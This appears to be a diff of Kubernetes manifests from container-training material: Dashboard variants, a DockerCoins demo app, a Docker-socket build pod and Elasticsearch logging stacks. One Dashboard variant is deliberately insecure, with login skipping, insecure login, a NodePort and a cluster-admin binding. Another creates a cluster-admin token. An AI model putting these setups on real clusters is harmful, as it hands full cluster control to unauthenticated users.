- apiGroups:
- ""
resourceNames:
- kubernetes-dashboard-key-holder
- kubernetes-dashboard-certs
- kubernetes-dashboard-csrf
resources:
- secrets
verbs:
- get
- update
- delete
- apiGroups:
- ""
resourceNames:
- kubernetes-dashboard-settings
resources:
- configmaps
verbs:
- get
- update
- apiGroups:
- ""
resourceNames:
- heapster
- dashboard-metrics-scraper
resources:
- services
verbs:
- proxy
- apiGroups:
- ""
resourceNames:
- heapster
- 'http:heapster:'
- 'https:heapster:'
- dashboard-metrics-scraper
- http:dashboard-metrics-scraper
resources:
- services/proxy
verbs:
- get
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard
namespace: kubernetes-dashboard
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: kubernetes-dashboard
subjects:
- kind: ServiceAccount
name: kubernetes-dashboard
namespace: kubernetes-dashboard
---
apiVersion: v1
kind: Service
metadata:
annotations: null
labels:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
kubernetes.io/cluster-service: "true"
name: kubernetes-dashboard
namespace: kubernetes-dashboard
spec:
ports:
- name: http
port: 443
targetPort: http
selector:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/name: kubernetes-dashboard
type: NodePort
---
apiVersion: apps/v1
kind: Deployment
metadata:
annotations: null
labels:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard
namespace: kubernetes-dashboard
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/name: kubernetes-dashboard
strategy:
rollingUpdate:
maxSurge: 0
maxUnavailable: 1
type: RollingUpdate
template:
metadata:
annotations: null
labels:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
spec:
containers:
- args:
- --namespace=kubernetes-dashboard
- --sidecar-host=http://127.0.0.1:8000
- --enable-skip-login
- --enable-insecure-login
image: kubernetesui/dashboard:v2.7.0
imagePullPolicy: IfNotPresent
livenessProbe:
httpGet:
path: /
port: 9090
scheme: HTTP
initialDelaySeconds: 30
timeoutSeconds: 30
name: kubernetes-dashboard
ports:
- containerPort: 9090
name: http
protocol: TCP
resources:
limits:
cpu: 2
memory: 200Mi
requests:
cpu: 100m
memory: 200Mi
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsGroup: 2001
runAsUser: 1001
volumeMounts:
- mountPath: /certs
name: kubernetes-dashboard-certs
- mountPath: /tmp
name: tmp-volume
- image: kubernetesui/metrics-scraper:v1.0.8
imagePullPolicy: IfNotPresent
livenessProbe:
httpGet:
path: /
port: 8000
scheme: HTTP
initialDelaySeconds: 30
timeoutSeconds: 30
name: dashboard-metrics-scraper
ports:
- containerPort: 8000
protocol: TCP
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsGroup: 2001
runAsUser: 1001
volumeMounts:
- mountPath: /tmp
name: tmp-volume
securityContext:
seccompProfile:
type: RuntimeDefault
serviceAccountName: kubernetes-dashboard
volumes:
- name: kubernetes-dashboard-certs
secret:
secretName: kubernetes-dashboard-certs
- emptyDir: {}
name: tmp-volume
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
creationTimestamp: null
name: kubernetes-dashboard:insecure
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: kubernetes-dashboard
namespace: kubernetes-dashboard

View File

@@ -0,0 +1,325 @@
# This file was generated with the script ./update-dashboard-yaml.sh.
#
---
apiVersion: v1
kind: Namespace
metadata:
creationTimestamp: null
name: kubernetes-dashboard
spec: {}
status: {}
---
apiVersion: v1
kind: ServiceAccount
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard
namespace: kubernetes-dashboard
---
apiVersion: v1
kind: Secret
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-certs
namespace: kubernetes-dashboard
type: Opaque
---
apiVersion: v1
kind: Secret
metadata:
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-csrf
namespace: kubernetes-dashboard
type: Opaque
---
apiVersion: v1
kind: Secret
metadata:
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-key-holder
namespace: kubernetes-dashboard
type: Opaque
---
apiVersion: v1
data: null
kind: ConfigMap
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-settings
namespace: kubernetes-dashboard
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-metrics
rules:
- apiGroups:
- metrics.k8s.io
resources:
- pods
- nodes
verbs:
- get
- list
- watch
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-metrics
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: kubernetes-dashboard-metrics
subjects:
- kind: ServiceAccount
name: kubernetes-dashboard
namespace: kubernetes-dashboard
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard
namespace: kubernetes-dashboard
rules:
- apiGroups:
- ""
resourceNames:
- kubernetes-dashboard-key-holder
- kubernetes-dashboard-certs
- kubernetes-dashboard-csrf
resources:
- secrets
verbs:
- get
- update
- delete
- apiGroups:
- ""
resourceNames:
- kubernetes-dashboard-settings
resources:
- configmaps
verbs:
- get
- update
- apiGroups:
- ""
resourceNames:
- heapster
- dashboard-metrics-scraper
resources:
- services
verbs:
- proxy
- apiGroups:
- ""
resourceNames:
- heapster
- 'http:heapster:'
- 'https:heapster:'
- dashboard-metrics-scraper
- http:dashboard-metrics-scraper
resources:
- services/proxy
verbs:
- get
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard
namespace: kubernetes-dashboard
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: kubernetes-dashboard
subjects:
- kind: ServiceAccount
name: kubernetes-dashboard
namespace: kubernetes-dashboard
---
apiVersion: v1
kind: Service
metadata:
annotations: null
labels:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
kubernetes.io/cluster-service: "true"
name: kubernetes-dashboard
namespace: kubernetes-dashboard
spec:
ports:
- name: https
port: 443
targetPort: https
selector:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/name: kubernetes-dashboard
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
annotations: null
labels:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard
namespace: kubernetes-dashboard
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/name: kubernetes-dashboard
strategy:
rollingUpdate:
maxSurge: 0
maxUnavailable: 1
type: RollingUpdate
template:
metadata:
annotations: null
labels:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
spec:
containers:
- args:
- --namespace=kubernetes-dashboard
- --auto-generate-certificates
- --sidecar-host=http://127.0.0.1:8000
image: kubernetesui/dashboard:v2.7.0
imagePullPolicy: IfNotPresent
livenessProbe:
httpGet:
path: /
port: 8443
scheme: HTTPS
initialDelaySeconds: 30
timeoutSeconds: 30
name: kubernetes-dashboard
ports:
- containerPort: 8443
name: https
protocol: TCP
resources:
limits:
cpu: 2
memory: 200Mi
requests:
cpu: 100m
memory: 200Mi
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsGroup: 2001
runAsUser: 1001
volumeMounts:
- mountPath: /certs
name: kubernetes-dashboard-certs
- mountPath: /tmp
name: tmp-volume
- image: kubernetesui/metrics-scraper:v1.0.8
imagePullPolicy: IfNotPresent
livenessProbe:
httpGet:
path: /
port: 8000
scheme: HTTP
initialDelaySeconds: 30
timeoutSeconds: 30
name: dashboard-metrics-scraper
ports:
- containerPort: 8000
protocol: TCP
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsGroup: 2001
runAsUser: 1001
volumeMounts:
- mountPath: /tmp
name: tmp-volume
securityContext:
seccompProfile:
type: RuntimeDefault
serviceAccountName: kubernetes-dashboard
volumes:
- name: kubernetes-dashboard-certs
secret:
secretName: kubernetes-dashboard-certs
- emptyDir: {}
name: tmp-volume

View File

@@ -0,0 +1,355 @@
# This file was generated with the script ./update-dashboard-yaml.sh.
#
---
apiVersion: v1
kind: Namespace
metadata:
creationTimestamp: null
name: kubernetes-dashboard
spec: {}
status: {}
---
apiVersion: v1
kind: ServiceAccount
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard
namespace: kubernetes-dashboard
---
apiVersion: v1
kind: Secret
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-certs
namespace: kubernetes-dashboard
type: Opaque
---
apiVersion: v1
kind: Secret
metadata:
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-csrf
namespace: kubernetes-dashboard
type: Opaque
---
apiVersion: v1
kind: Secret
metadata:
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-key-holder
namespace: kubernetes-dashboard
type: Opaque
---
apiVersion: v1
data: null
kind: ConfigMap
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-settings
namespace: kubernetes-dashboard
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-metrics
rules:
- apiGroups:
- metrics.k8s.io
resources:
- pods
- nodes
verbs:
- get
- list
- watch
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-metrics
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: kubernetes-dashboard-metrics
subjects:
- kind: ServiceAccount
name: kubernetes-dashboard
namespace: kubernetes-dashboard
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard
namespace: kubernetes-dashboard
rules:
- apiGroups:
- ""
resourceNames:
- kubernetes-dashboard-key-holder
- kubernetes-dashboard-certs
- kubernetes-dashboard-csrf
resources:
- secrets
verbs:
- get
- update
- delete
- apiGroups:
- ""
resourceNames:
- kubernetes-dashboard-settings
resources:
- configmaps
verbs:
- get
- update
- apiGroups:
- ""
resourceNames:
- heapster
- dashboard-metrics-scraper
resources:
- services
verbs:
- proxy
- apiGroups:
- ""
resourceNames:
- heapster
- 'http:heapster:'
- 'https:heapster:'
- dashboard-metrics-scraper
- http:dashboard-metrics-scraper
resources:
- services/proxy
verbs:
- get
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard
namespace: kubernetes-dashboard
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: kubernetes-dashboard
subjects:
- kind: ServiceAccount
name: kubernetes-dashboard
namespace: kubernetes-dashboard
---
apiVersion: v1
kind: Service
metadata:
annotations: null
labels:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
kubernetes.io/cluster-service: "true"
name: kubernetes-dashboard
namespace: kubernetes-dashboard
spec:
ports:
- name: https
port: 443
targetPort: https
selector:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/name: kubernetes-dashboard
type: NodePort
---
apiVersion: apps/v1
kind: Deployment
metadata:
annotations: null
labels:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard
namespace: kubernetes-dashboard
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/name: kubernetes-dashboard
strategy:
rollingUpdate:
maxSurge: 0
maxUnavailable: 1
type: RollingUpdate
template:
metadata:
annotations: null
labels:
app.kubernetes.io/component: kubernetes-dashboard
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
spec:
containers:
- args:
- --namespace=kubernetes-dashboard
- --auto-generate-certificates
- --sidecar-host=http://127.0.0.1:8000
image: kubernetesui/dashboard:v2.7.0
imagePullPolicy: IfNotPresent
livenessProbe:
httpGet:
path: /
port: 8443
scheme: HTTPS
initialDelaySeconds: 30
timeoutSeconds: 30
name: kubernetes-dashboard
ports:
- containerPort: 8443
name: https
protocol: TCP
resources:
limits:
cpu: 2
memory: 200Mi
requests:
cpu: 100m
memory: 200Mi
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsGroup: 2001
runAsUser: 1001
volumeMounts:
- mountPath: /certs
name: kubernetes-dashboard-certs
- mountPath: /tmp
name: tmp-volume
- image: kubernetesui/metrics-scraper:v1.0.8
imagePullPolicy: IfNotPresent
livenessProbe:
httpGet:
path: /
port: 8000
scheme: HTTP
initialDelaySeconds: 30
timeoutSeconds: 30
name: dashboard-metrics-scraper
ports:
- containerPort: 8000
protocol: TCP
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsGroup: 2001
runAsUser: 1001
volumeMounts:
- mountPath: /tmp
name: tmp-volume
securityContext:
seccompProfile:
type: RuntimeDefault
serviceAccountName: kubernetes-dashboard
volumes:
- name: kubernetes-dashboard-certs
secret:
secretName: kubernetes-dashboard-certs
- emptyDir: {}
name: tmp-volume
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
creationTimestamp: null
name: kubernetes-dashboard:cluster-admin
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: cluster-admin
namespace: kubernetes-dashboard
---
apiVersion: v1
kind: ServiceAccount
metadata:
creationTimestamp: null
name: cluster-admin
namespace: kubernetes-dashboard
---
apiVersion: v1
kind: Secret
type: kubernetes.io/service-account-token
metadata:
name: cluster-admin-token
namespace: kubernetes-dashboard
annotations:
kubernetes.io/service-account.name: cluster-admin

27
k8s/docker-build.yaml Normal file
View File

@@ -0,0 +1,27 @@
apiVersion: v1
kind: Pod
metadata:
name: build-image
spec:
restartPolicy: OnFailure
containers:
- name: docker-build
image: docker
env:
- name: REGISTRY_PORT
value: #"30000"
command: ["sh", "-c"]
args:
- |
apk add --no-cache git &&
mkdir /workspace &&
git clone https://github.com/jpetazzo/container.training /workspace &&
docker build -t localhost:$REGISTRY_PORT/worker /workspace/dockercoins/worker &&
docker push localhost:$REGISTRY_PORT/worker
volumeMounts:
- name: docker-socket
mountPath: /var/run/docker.sock
volumes:
- name: docker-socket
hostPath:
path: /var/run/docker.sock

160
k8s/dockercoins.yaml Normal file
View File

@@ -0,0 +1,160 @@
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: hasher
name: hasher
spec:
replicas: 1
selector:
matchLabels:
app: hasher
template:
metadata:
labels:
app: hasher
spec:
containers:
- image: dockercoins/hasher:v0.1
name: hasher
---
apiVersion: v1
kind: Service
metadata:
labels:
app: hasher
name: hasher
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: hasher
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: redis
name: redis
spec:
replicas: 1
selector:
matchLabels:
app: redis
template:
metadata:
labels:
app: redis
spec:
containers:
- image: redis
name: redis
---
apiVersion: v1
kind: Service
metadata:
labels:
app: redis
name: redis
spec:
ports:
- port: 6379
protocol: TCP
targetPort: 6379
selector:
app: redis
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: rng
name: rng
spec:
replicas: 1
selector:
matchLabels:
app: rng
template:
metadata:
labels:
app: rng
spec:
containers:
- image: dockercoins/rng:v0.1
name: rng
---
apiVersion: v1
kind: Service
metadata:
labels:
app: rng
name: rng
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: rng
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: webui
name: webui
spec:
replicas: 1
selector:
matchLabels:
app: webui
template:
metadata:
labels:
app: webui
spec:
containers:
- image: dockercoins/webui:v0.1
name: webui
---
apiVersion: v1
kind: Service
metadata:
labels:
app: webui
name: webui
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: webui
type: NodePort
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: worker
name: worker
spec:
replicas: 1
selector:
matchLabels:
app: worker
template:
metadata:
labels:
app: worker
spec:
containers:
- image: dockercoins/worker:v0.1
name: worker

69
k8s/eck-cerebro.yaml Normal file
View File

@@ -0,0 +1,69 @@
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: cerebro
name: cerebro
spec:
selector:
matchLabels:
app: cerebro
template:
metadata:
labels:
app: cerebro
spec:
volumes:
- name: conf
configMap:
name: cerebro
containers:
- image: lmenezes/cerebro
name: cerebro
volumeMounts:
- name: conf
mountPath: /conf
args:
- -Dconfig.file=/conf/application.conf
env:
- name: ELASTICSEARCH_PASSWORD
valueFrom:
secretKeyRef:
name: demo-es-elastic-user
key: elastic
---
apiVersion: v1
kind: Service
metadata:
labels:
app: cerebro
name: cerebro
spec:
ports:
- port: 9000
protocol: TCP
targetPort: 9000
selector:
app: cerebro
type: NodePort
---
apiVersion: v1
kind: ConfigMap
metadata:
name: cerebro
data:
application.conf: |
secret = "ki:s:[[@=Ag?QI`W2jMwkY:eqvrJ]JqoJyi2axj3ZvOv^/KavOT4ViJSv?6YY4[N"
hosts = [
{
host = "http://demo-es-http.eck-demo.svc.cluster.local:9200"
name = "demo"
auth = {
username = "elastic"
password = ${?ELASTICSEARCH_PASSWORD}
}
}
]

View File

@@ -0,0 +1,19 @@
apiVersion: elasticsearch.k8s.elastic.co/v1
kind: Elasticsearch
metadata:
name: demo
namespace: eck-demo
spec:
http:
tls:
selfSignedCertificate:
disabled: true
nodeSets:
- name: default
count: 1
config:
node.data: true
node.ingest: true
node.master: true
node.store.allow_mmap: false
version: 7.5.1

168
k8s/eck-filebeat.yaml Normal file
View File

@@ -0,0 +1,168 @@
---
apiVersion: v1
kind: ConfigMap
metadata:
name: filebeat-config
namespace: eck-demo
labels:
k8s-app: filebeat
data:
filebeat.yml: |-
filebeat.inputs:
- type: container
paths:
- /var/log/containers/*.log
processors:
- add_kubernetes_metadata:
host: ${NODE_NAME}
matchers:
- logs_path:
logs_path: "/var/log/containers/"
# To enable hints based autodiscover, remove `filebeat.inputs` configuration and uncomment this:
#filebeat.autodiscover:
# providers:
# - type: kubernetes
# node: ${NODE_NAME}
# hints.enabled: true
# hints.default_config:
# type: container
# paths:
# - /var/log/containers/*${data.kubernetes.container.id}.log
processors:
- add_cloud_metadata:
- add_host_metadata:
cloud.id: ${ELASTIC_CLOUD_ID}
cloud.auth: ${ELASTIC_CLOUD_AUTH}
output.elasticsearch:
hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
username: ${ELASTICSEARCH_USERNAME}
password: ${ELASTICSEARCH_PASSWORD}
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: filebeat
namespace: eck-demo
labels:
k8s-app: filebeat
spec:
selector:
matchLabels:
k8s-app: filebeat
template:
metadata:
labels:
k8s-app: filebeat
spec:
serviceAccountName: filebeat
terminationGracePeriodSeconds: 30
hostNetwork: true
dnsPolicy: ClusterFirstWithHostNet
containers:
- name: filebeat
image: docker.elastic.co/beats/filebeat:7.5.1
args: [
"-c", "/etc/filebeat.yml",
"-e",
]
env:
- name: ELASTICSEARCH_HOST
value: demo-es-http
- name: ELASTICSEARCH_PORT
value: "9200"
- name: ELASTICSEARCH_USERNAME
value: elastic
- name: ELASTICSEARCH_PASSWORD
valueFrom:
secretKeyRef:
name: demo-es-elastic-user
key: elastic
- name: ELASTIC_CLOUD_ID
value:
- name: ELASTIC_CLOUD_AUTH
value:
- name: NODE_NAME
valueFrom:
fieldRef:
fieldPath: spec.nodeName
securityContext:
runAsUser: 0
# If using Red Hat OpenShift uncomment this:
#privileged: true
resources:
limits:
memory: 200Mi
requests:
cpu: 100m
memory: 100Mi
volumeMounts:
- name: config
mountPath: /etc/filebeat.yml
readOnly: true
subPath: filebeat.yml
- name: data
mountPath: /usr/share/filebeat/data
- name: varlibdockercontainers
mountPath: /var/lib/docker/containers
readOnly: true
- name: varlog
mountPath: /var/log
readOnly: true
volumes:
- name: config
configMap:
defaultMode: 0600
name: filebeat-config
- name: varlibdockercontainers
hostPath:
path: /var/lib/docker/containers
- name: varlog
hostPath:
path: /var/log
# data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
- name: data
hostPath:
path: /var/lib/filebeat-data
type: DirectoryOrCreate
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: filebeat
subjects:
- kind: ServiceAccount
name: filebeat
namespace: eck-demo
roleRef:
kind: ClusterRole
name: filebeat
apiGroup: rbac.authorization.k8s.io
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: filebeat
labels:
k8s-app: filebeat
rules:
- apiGroups: [""] # "" indicates the core API group
resources:
- namespaces
- pods
verbs:
- get
- watch
- list
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: filebeat
namespace: eck-demo
labels:
k8s-app: filebeat
---

17
k8s/eck-kibana.yaml Normal file
View File

@@ -0,0 +1,17 @@
apiVersion: kibana.k8s.elastic.co/v1
kind: Kibana
metadata:
name: demo
spec:
version: 7.5.1
count: 1
elasticsearchRef:
name: demo
namespace: eck-demo
http:
service:
spec:
type: NodePort
tls:
selfSignedCertificate:
disabled: true

1802
k8s/eck-operator.yaml Normal file

File diff suppressed because it is too large Load Diff

176
k8s/efk.yaml Normal file
View File

@@ -0,0 +1,176 @@
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: fluentd
namespace: default
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: fluentd
rules:
- apiGroups:
- ""
resources:
- pods
- namespaces
verbs:
- get
- list
- watch
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: fluentd
roleRef:
kind: ClusterRole
name: fluentd
apiGroup: rbac.authorization.k8s.io
subjects:
- kind: ServiceAccount
name: fluentd
namespace: default
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: fluentd
namespace: default
labels:
app: fluentd
spec:
selector:
matchLabels:
app: fluentd
template:
metadata:
labels:
app: fluentd
spec:
serviceAccount: fluentd
serviceAccountName: fluentd
tolerations:
- key: node-role.kubernetes.io/master
effect: NoSchedule
containers:
- name: fluentd
image: fluent/fluentd-kubernetes-daemonset:v1.4-debian-elasticsearch-1
env:
- name: FLUENT_ELASTICSEARCH_HOST
value: "elasticsearch"
- name: FLUENT_ELASTICSEARCH_PORT
value: "9200"
- name: FLUENT_ELASTICSEARCH_SCHEME
value: "http"
- name: FLUENT_UID
value: "0"
- name: FLUENTD_SYSTEMD_CONF
value: "disable"
- name: FLUENTD_PROMETHEUS_CONF
value: "disable"
resources:
limits:
memory: 200Mi
requests:
cpu: 100m
memory: 200Mi
volumeMounts:
- name: varlog
mountPath: /var/log
- name: varlibdockercontainers
mountPath: /var/lib/docker/containers
readOnly: true
terminationGracePeriodSeconds: 30
volumes:
- name: varlog
hostPath:
path: /var/log
- name: varlibdockercontainers
hostPath:
path: /var/lib/docker/containers
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: elasticsearch
name: elasticsearch
namespace: default
spec:
selector:
matchLabels:
app: elasticsearch
template:
metadata:
labels:
app: elasticsearch
spec:
containers:
- image: elasticsearch:5
name: elasticsearch
resources:
limits:
memory: 2Gi
requests:
memory: 1Gi
env:
- name: ES_JAVA_OPTS
value: "-Xms1g -Xmx1g"
---
